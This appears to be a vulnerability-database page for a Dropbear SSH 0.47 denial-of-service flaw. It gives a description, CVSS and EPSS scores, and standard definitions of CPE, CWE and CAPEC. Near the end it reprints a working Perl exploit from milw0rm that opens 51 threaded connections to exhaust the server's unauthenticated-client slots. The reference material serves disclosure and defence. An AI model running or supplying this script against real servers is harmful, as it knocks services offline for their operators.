CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Matt Johnston Dropbear SSH server 0.47 and earlier, as used in embedded Linux devices and on general-purpose operating systems, allows remote attackers to cause a denial of service (connection slot exhaustion) via a large number of connection attempts that exceeds the MAX_UNAUTH_CLIENTS defined value of 30.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
5
AV:N/AC:L/Au:N/C:N/I:N/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
4.19%
–
–
2022-04-03
–
–
4.19%
–
–
2022-07-17
–
–
4.19%
–
–
2023-03-12
–
–
–
2.73%
–
2024-02-04
–
–
–
2.73%
–
2024-06-02
–
–
–
2.73%
–
2024-12-22
–
–
–
1.55%
–
2025-02-23
–
–
–
1.44%
–
2025-01-19
–
–
–
1.55%
–
2025-02-23
–
–
–
1.44%
–
2025-03-18
–
–
–
–
6.7%
2025-03-30
–
–
–
–
5.78%
2025-03-30
–
–
–
–
5.78,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
#!/usr/bin/perl
## I needed a working test script so here it is.
## just a keep alive thread, I had a few problems with Pablo's code running properly.
##
## Straight from Pablo Fernandez's advisory:
# Vulnerable code is in svr-main.c
#
# /* check for max number of connections not authorised */
# for (j = 0; j < MAX_UNAUTH_CLIENTS; j++) {
# if (childpipes[j] < 0) {
# break;
# }
# }
#
# if (j == MAX_UNAUTH_CLIENTS) {
# /* no free connections */
# /* TODO - possibly log, though this would be an easy way
# * to fill logs/disk */
# close(childsock);
# continue;
# }
## /str0ke (milw0rm.com)
use IO::Socket;
use Thread;
use strict;
# thanks to Perl Underground for my moronic coding style fixes.
my ($serv, $port, $time) = @ARGV;
sub usage
{
print "\nDropbear / OpenSSH Server (MAX_UNAUTH_CLIENTS) Denial of Service Exploit\n";
print "by /str0ke (milw0rm.com)\n";
print "Credits to Pablo Fernandez\n";
print "Usage: $0 [Target Domain] [Target Port] [Seconds to hold attack]\n";
exit ();
}
sub exploit
{
my ($serv, $port, $sleep) = @_;
my $sock = new IO::Socket::INET ( PeerAddr => $serv,
PeerPort => $port,
Proto => 'tcp',
);
die "Could not create socket: $!\n" unless $sock;
sleep $sleep;
close($sock);
}
sub thread {
print "Server: $serv\nPort: $port\nSeconds: $time\n";
for my $i ( 1 .. 51 ) {
print ".";
my $thr = new Thread \&exploit, $serv, $port, $time;
}
sleep $time; #detach wouldn't be good
}
if (@ARGV != 3){&usage;}else{&thread;}
# milw0rm.com [2006-03-10]
Products Mentioned
Configuraton 0
Dropbear_ssh_project>>Dropbear_ssh >> Version To (including) 0.47